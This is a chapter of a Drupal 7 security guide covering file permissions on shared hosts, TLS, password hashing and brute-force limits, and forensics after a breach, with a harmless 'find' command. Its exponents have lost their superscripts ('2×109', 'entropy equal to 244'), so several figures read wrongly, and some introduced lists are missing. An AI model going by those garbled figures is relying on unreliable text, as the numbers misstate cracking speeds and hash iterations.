For security in depth, a .htaccess file to prevent scripts from being executed should be placed in all directories where the web-server group has write access. In Drupal 7, the following function may be used to create this file: function file_create_htaccess().

Shared web host security

In a shared hosting environment, other users than the webmaster have access to the the shared web server and the file system.

By default, when the web server runs, it runs as the same web server user (e.g. “apache”) for all websites that reside on a shared web host. This means that a rogue user on the shared web host may create a script for the web server that reads the settings.php of another site, and get access to the site's database credentials. This is insecure.

However, if the Apace web server is set up to use a feature known as suEXEC, it can run as a different user. For instance, when the web server is accessing files belonging to “bob”, it should run as a user named “bob-apache”. Likewise, when the web-server is accessing files belonging to “alice”, it should run as a user named “alice-apache”.

This means you can use this set of permissions:

settings.php:  640 rw- r-- --- bob.bob-apache
modules/:      750 rwx r-x --- bob.bob-apache
bar.php:       640 rw- r-- --- bob.bob-apache
files/:        770 rwx rwx --- bob.bob-apache
files/foo.png: 660 rw- rw- --- bob.bob-apache

The disadvantage of this configuration is that each user account need to be set up with two user IDs: “x” and “x-apache”.

Storing sensitive data

If you keep sensitive data in your database (e.g. credit card numbers, medical records), you should encrypt them.

The Encryption module helps you defend sensitive data by means of symmetric encryption.

See alsoFor safeguards beyond encryption, see the Payment Card Industry PCIComplianceGuide.org FAQ, and in particular, the PCI SSC Data Security Standards Overview. This is a framework of specifications, tools, measurements and support resources to help ensure the safe handling of sensitive data.

Keeping communications secret

The standard hyper-text transfer protocol (http) sends all communication between the browser and the website – including login credentials – in clear text. This is not secure. If your site allows users to log in, or other data that need to be secret are communicated, you need to configure the website to use Transport Layer Security (TLS). This allows the site to communicate by means of the secure hyper-text transfer protocol (https).

To learn about TLS, and using to keep communication to and from your site secure, see the webmaster's guide.

Static code analysis

Static code analysis is usually performed as part of a code review (also known as “white-box testing”) and refers to the running of static code analysis tools that attempt to highlight possible vulnerabilities within “static”' (i.e. non-running) source code by using techniques such as Taint Analysis and Data Flow Analysis.

Links to some PHP static analysis tools.

You may also want to take look at the Damn Vulnerable Web Application (DVWA). This is a PHP/MySQL web application that is deliberately vulnerable. The aim is to allow students to look for the most common web vulnerabilities, with various levels of difficulty:

Login and password security

If vrute force attacks are over the network against the website's login form, Drupal already has some login security built-in. Located in a function named user_login_authenticate_vali­date(), there is by default a setting that limits the number of attempted logins to one account to five. After the limit has been reached, that combination of IP address and uid will be locked out for six hours. To change these defaults, you can install the Flood control or Login security modules.

To protect against brute force attacks if the datebase storing the should be compromised Drupal 7 hashes (SHA-512) and individually salts all passwords. To slow down a threat agent it is iterated 2DRUPAL_HASH_COUNT times. The default value for DRUPAL_HASH_COUNT is 15, which results in 32768 iterations You can adjust the count with the password_count_log2 variable, with a maximum value of 30 (1073741824 iterations) and a minimum value of 7 (128 iterations).

However, if your user's passwords have low entropy, brute-force password attacks are feasible, as illustrated in this comic strip:

password_strength_666.png
Source: xkcd - Password strength, used under CC by-nc 2.5. Explanation.

Modern, dedicated hardware are faster than assumed in the comic strip. If the threat agent were to use a modern GPU is capable of 2×109 SHA-512 guesses per second, which is reduced to 61000 guesses per second if the SHA-512 is going through 32768 interations (Drupal's default). This reduces the time to crack a passphrase with a entropy equal to 244 from 550 years to only 8 years.

While 8 years is a long time, this means that if you experience a breech, you should force your users to reset their passwords, there's is the Force Password Change module that will invalidate all passwords and force users to set a new one.

There is also the Password Policy module that let you set a policy to force users to pick a password that is hard to crack by brute force (but it tends to enforce the type of policies the xkcd cartoon above lampoons, so I am not a big fan of it).

In addition to these modules, there is a recipe on Drupal.org to create a drush command to change passwords on accounts that are not actively used that may be used to invalidate passwords for stale accounts.

You may also condsider making your site less vulnerable to password cracking by adding Two-Factor-Authentication. There is an introduction to this in the Drupal Watchdog.

Depending upon your location, there may be a legal requirement to report a data breech to affected parties. In the EU/EEA, this is mandated by the GDPR. In the US there are now over 38 states that have privacy law that mandates notification. See www.privacyrights.org for more details.

Forensics and repair

I hope you've never experienced that horrible, sinking feeling when you look at your website and see that its usual frontpage is replaced with the words “Hacked!” or even worse. However, before I close this chapter, here is some notes about how to deal with such a situation.

See alsoYou may also want to read: Drupal.org: Your Drupal site got hacked. Now what?, Sucuri.net: How to clean a hacked Drupal site, VISA: Response checklist and Greg Freeman's blog about How to tell if your PHP site has been compromised. Additionally, you should review the OWASP Top 10 lists to make sure you're aware of all the various types of attacks.

Security review

The Security review module will look for common mistakes that may render your site insecure. Not everyting it reports may be a security risk, but it is great for highlighting items that may require the attention of the administrator.

The following items should always be fixed if they are reported (unless you're sure the report is a false positive):

The following item is OK on a development site, but it is recommended that it is not present on a production site:

Note that by default, only the anonymous user role is untrusted. You may change this under the settings tab.

File forensics

To check your Drupal files for unauthorized changes, you may want to install Hacked!. It will download a fresh copy of the core and each contributed project, and report if any of the code-base has been changed. You should use this for forensics after a breech, not for continious monitoring of a production site. The report generated by Hacked! is located along with the other reports. If the Diff module is also installed it will let you view the exact lines that have changed.

You may also use the CLI to locate files that may have been tampered with. For instance, to find all files modified in the last 20 days in current directory and its sub-directories, type:

$ find . -mtime -20 -print;

Route permissions

The extension Routes list provides a dashboard with a list of all available routes in the system and access information.

It is useful for quick overview of permissions configuration and security check to ensure no hidden URLs are active with full access to anyone.

Database forensics

To check your database for unauthorized changes, first check if any usernames or passwords has been changed. If the username or password of the super admin (user #1) has been changed without your knowledge, then your site has been breeched. Read the section about login and password security to learn ho to repair this.

Next examine the {node} and {comment} tables. Are there recently added nodes or comments that may be used for a arbitrary code execution attack?

Final word

[TBA]


Last update: 2019-04-13 [gh].